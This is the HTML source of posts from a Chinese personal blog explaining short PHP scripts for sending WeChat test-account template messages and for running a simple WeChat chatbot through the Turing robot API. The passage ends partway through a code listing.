<a href="#试着做一下"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 试着做一下
</h1>
<p>我看了下微信关于测试号的接口文档看起来也没多复杂嘛我估摸了一下最多一句话就能搞定然后就试着用PHP写了一下。 </p><p>
最终的代码如下:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$appid</span><span class="o">=</span><span class="s1">'appID'</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="s1">'appsecret'</span><span class="p">;</span>
<span class="nv">$userid</span><span class="o">=</span><span class="s1">'微信号OpenID'</span><span class="p">;</span>
<span class="nv">$template_id</span><span class="o">=</span><span class="s1">'模板ID'</span><span class="p">;</span>
<span class="nv">$title</span><span class="o">=</span><span class="s1">'标题'</span><span class="p">;</span>
<span class="nv">$content</span><span class="o">=</span><span class="s1">'内容'</span><span class="p">;</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/message/template/send?access_token='</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid='</span><span class="mf">.</span><span class="nv">$appid</span><span class="mf">.</span><span class="s1">'&amp;secret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'access_token'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"Content-Type: application/json;charset=utf-8"</span><span class="p">,</span><span class="s1">'content'</span><span class="o">=&gt;</span><span class="s1">'{"touser":"'</span><span class="mf">.</span><span class="nv">$userid</span><span class="mf">.</span><span class="s1">'","template_id":"'</span><span class="mf">.</span><span class="nv">$template_id</span><span class="mf">.</span><span class="s1">'","data":{"title": {"value":"'</span><span class="mf">.</span><span class="nv">$title</span><span class="mf">.</span><span class="s1">'"},"content": {"value":"'</span><span class="mf">.</span><span class="nv">$content</span><span class="mf">.</span><span class="s1">'"}}}'</span><span class="p">))));</span>
</code></pre></div></div>
<p>写好之后测试了一下效果还不错和Server酱测试号的效果几乎一模一样除了没有能点开的网页当然要想搞也行很简单就插一个URL就可以了如果你希望整些更多的特效也可以去<a href="https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Template_Message_Interface.html">模板接口文档</a>里面看。 </p><p>
关于限制方面的话也要比Server酱要好理论上我的代码每天能发送2000次主要是因为获取access_token的接口每天只能使用2000次不过如果能缓存access_token的话理论上每天能发送100000次要比垃圾Server酱的1000次好得多。</p>
<h1 id="如何得到参数">
<a href="#如何得到参数"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 如何得到参数?
</h1>
<p>我写的代码是兼容Server酱的所以跟着他们的配置指南也可以直接用不过有人可能连Server酱是啥都不知道我也不给他们引流了免得浪费他们珍贵的服务器资源。 </p><p>
要做的事情很简单,首先打开<a href="https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login">申请页面</a>,然后扫码登录,成功之后就能看到测试号管理的页面了。 </p><p>
首先看到的是appID和appsecret这样我们就已经获得了两个参数。另外两个的话就继续往下翻找到测试号二维码用微信扫描关注后就会出现自己的微信号当然这个不是真正的微信号相当于只是一个识别码这样第三个参数也得到了。接下来是第四个参数找到模板消息接口点击新增测试模板标题输入推送通知或者你喜欢的啥都行内容的话填</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{title.DATA}}
{{content.DATA}}
</code></pre></div></div>
<p>之所以这样填是为了兼容Server酱当然也可以自己改代码然后填别的也行。不过如果不想改代码在末尾加个签名也没有问题比如说这样</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{{title.DATA}}
{{content.DATA}}
--By Mayx
</code></pre></div></div>
<p>这样第四个参数模板ID我们也得到了这样上面的代码应该可以正常使用了。 </p><p>
需要注意的一点是由于莫名其妙的原因有可能扫码后第一次得到的appsecret是错的如果代码不能正常工作可以刷新测试号管理的页面看看有没有变化如果有就输入最新的appsecret。</p>
<h1 id="结语">
<a href="#结语"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 结语
</h1>
<p>我觉得作为开发者,这种简单的小活就自己干吧,没必要给所谓不赞助就不能用功能的开发者给钱,我觉得既然叫赞助,就不能有差别待遇,不然这就叫做收费,就是商业行为,不要用赞助这种词给自己的资本家行为贴金。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=Server"><em>Server</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-02-02-serverchan.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/02/02/serverchan.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/01/17/picore.html">
上一篇piCore的使用经历
</a>
</span>
<br />
<span class="next">
<a href="/2021/02/06/wechatbot.html">
下一篇:自制一个简单的微信聊天机器人
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/02/02/serverchan', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/02/02/serverchan.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

404
2021/02/06/wechatbot.html Normal file
View File

@@ -0,0 +1,404 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>自制一个简单的微信聊天机器人 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="自制一个简单的微信聊天机器人" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="感觉API好像还挺有意思" />
<meta property="og:description" content="感觉API好像还挺有意思" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-02-06T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="自制一个简单的微信聊天机器人" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-02-06T00:00:00+08:00","datePublished":"2021-02-06T00:00:00+08:00","description":"感觉API好像还挺有意思","headline":"自制一个简单的微信聊天机器人","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/02/06/wechatbot.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/02/06/wechatbot.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/02/06/wechatbot.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-02-06T00:00:00+08:00">6 February 2021</time> - 字数统计4038 - 阅读大约需要13分钟 - Hits: <span id="/2021/02/06/wechatbot.html" class="visitors">Loading...</span></small>
<h1 class="p-name">自制一个简单的微信聊天机器人</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sat, 06 Feb 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章讲述了作者自制一个微信聊天机器人的过程。起初被Server酱·TurboMini版激发了兴趣决定利用微信公众号的API实现一个图片发送或聊天功能。作者遇到的主要问题是微信被动回复需在5秒内这对在国外免费虚拟空间且网络连接较差的情况下的图片转发造成了阻碍。为解决这个问题作者将聊天机器人功能作为备选使用了图灵机器人API进行文字交互并提到了可能的改进方案如定时上传图片、设置多条命令分开负责上传和发送、或以图文形式每天发送等。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#代码">代码</a></li><li><a href="#使用方法">使用方法</a></li><li><a href="#暂时废弃的代码">暂时废弃的代码</a></li><li><a href="#替代的方案">替代的方案</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>感觉API好像还挺有意思<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前两天我<a href="/2021/02/02/serverchan.html">制作了Server酱·TurboMini版</a>之后感觉微信公众号的API好像还挺有意思的总的来说也不是很复杂没有用什么特别奇怪的东西而且文档还算清晰这一点还是很不错的。 </p><p>
于是最近我就开始看微信开放文档其实我刚写完Server酱·TurboMini版之后我就在想好多人在QQ上搞那种只要说来点什么图机器人就会发图片的一个功能。我感觉这个好像有点意思因为我平时用微信更多一些既然有测试号这样好的平台那么我就应该搞点这样的功能。 </p><p>
我花了一天的时间通读整个文档然后把程序写了出来然而发生了很糟糕的事情那就是微信被动回复的时间要求必须在5秒以内否则就会报错然而让服务器转发图片本来就很耗时又加上我用的是垃圾国外免费的虚拟空间中国与国际互联网的连接又很差劲导致5秒内程序必定不可能来得及回复。 </p><p>
没办法我花了一天时间写的东西我一定要水一篇文章所以我想了想干脆写成聊天机器人吧那个东西也简单像我博客上的伊斯特瓦尔就用了聊天机器人有现成的API啥都好搞。于是我稍微改动了一下代码把发图机器人改成了聊天机器人。</p>
<h1 id="代码">
<a href="#代码"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 代码
</h1>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$appid</span><span class="o">=</span><span class="n">微信appID</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="n">微信appsecret</span><span class="p">;</span>
<span class="nv">$appkey</span><span class="o">=</span><span class="n">图灵机器人APIkey</span><span class="p">;</span>
<span class="k">function</span> <span class="n">checkSignature</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$signature</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"signature"</span><span class="p">];</span>
<span class="nv">$timestamp</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"timestamp"</span><span class="p">];</span>
<span class="nv">$nonce</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"nonce"</span><span class="p">];</span>
<span class="nv">$token</span> <span class="o">=</span> <span class="s1">'mayx'</span><span class="p">;</span>
<span class="nv">$tmpArr</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span> <span class="nv">$timestamp</span><span class="p">,</span> <span class="nv">$nonce</span><span class="p">);</span>
<span class="nb">sort</span><span class="p">(</span><span class="nv">$tmpArr</span><span class="p">,</span> <span class="no">SORT_STRING</span><span class="p">);</span>
<span class="nv">$tmpStr</span> <span class="o">=</span> <span class="nb">implode</span><span class="p">(</span> <span class="nv">$tmpArr</span> <span class="p">);</span>
<span class="nv">$tmpStr</span> <span class="o">=</span> <span class="nb">sha1</span><span class="p">(</span> <span class="nv">$tmpStr</span> <span class="p">);</span>
<span class="k">if</span><span class="p">(</span> <span class="nv">$tmpStr</span> <span class="o">==</span> <span class="nv">$signature</span> <span class="p">){</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nf">checkSignature</span><span class="p">()){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">]){</span>
<span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">];</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">);</span>
<span class="nv">$p</span> <span class="o">=</span> <span class="nb">xml_parser_create</span><span class="p">();</span>
<span class="nb">xml_parse_into_struct</span><span class="p">(</span><span class="nv">$p</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$vals</span><span class="p">,</span> <span class="nv">$index</span><span class="p">);</span>
<span class="nb">xml_parser_free</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'MSGTYPE'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'text'</span><span class="p">){</span>
<span class="k">echo</span> <span class="s1">'&lt;xml&gt;
&lt;ToUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/ToUserName&gt;
&lt;FromUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'TOUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/FromUserName&gt;
&lt;CreateTime&gt;'</span><span class="mf">.</span><span class="nb">time</span><span class="p">()</span><span class="mf">.</span><span class="s1">'&lt;/CreateTime&gt;
&lt;MsgType&gt;&lt;![CDATA[text]]&gt;&lt;/MsgType&gt;
&lt;Content&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://www.tuling123.com/openapi/api'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-type:application/x-www-form-urlencoded'</span><span class="p">,</span><span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="nb">http_build_query</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'key'</span> <span class="o">=&gt;</span> <span class="nv">$appkey</span><span class="p">,</span><span class="s1">'info'</span> <span class="o">=&gt;</span> <span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'CONTENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">],</span><span class="s1">'userid'</span> <span class="o">=&gt;</span> <span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">])))))),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'text'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/Content&gt;
&lt;/xml&gt;'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'error'</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h1 id="使用方法">
<a href="#使用方法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 使用方法
</h1>
<p><a href="/2021/02/02/serverchan.html">上一篇文章</a>一样,同样需要去<a href="https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login">申请</a>一个测试号不过有一点不一样那就是这一次需要配置接口配置信息URL就填这个程序能在互联网上访问的地址而Token则是填mayx。为什么呢因为我在代码里这样写的啊……如果想改可以把对应的变量改成自己喜欢的值总之保证两边一样就行。 </p><p>
提交之后接口就配置好了,不过还没有结束,为了能使用机器人,还得要去注册<a href="http://www.turingapi.com/">图灵机器人</a>,毕竟又不可能自己去写一个聊天机器人,那个需要的资源太多了。现在那个图灵机器人好像必须要实名才能用,那总之混互联网的人遇到这种问题应该也不是问题了吧。 </p><p>
注册好机器人之后就直接把APIKey粘到代码里面然后整个代码就可以正常运行了现在你就可以和你的机器人聊天了。</p>
<h1 id="暂时废弃的代码">
<a href="#暂时废弃的代码"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 暂时废弃的代码
</h1>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">define</span><span class="p">(</span><span class="s1">'MULTIPART_BOUNDARY'</span><span class="p">,</span> <span class="s1">'--------------------------'</span><span class="mf">.</span><span class="nb">microtime</span><span class="p">(</span><span class="kc">true</span><span class="p">));</span>
<span class="nv">$file_contents</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://www.pixiv.net/ajax/illust/'</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.loli.st/pixiv/'</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'illust_id'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'/pages'</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'body'</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s1">'urls'</span><span class="p">][</span><span class="s1">'regular'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span 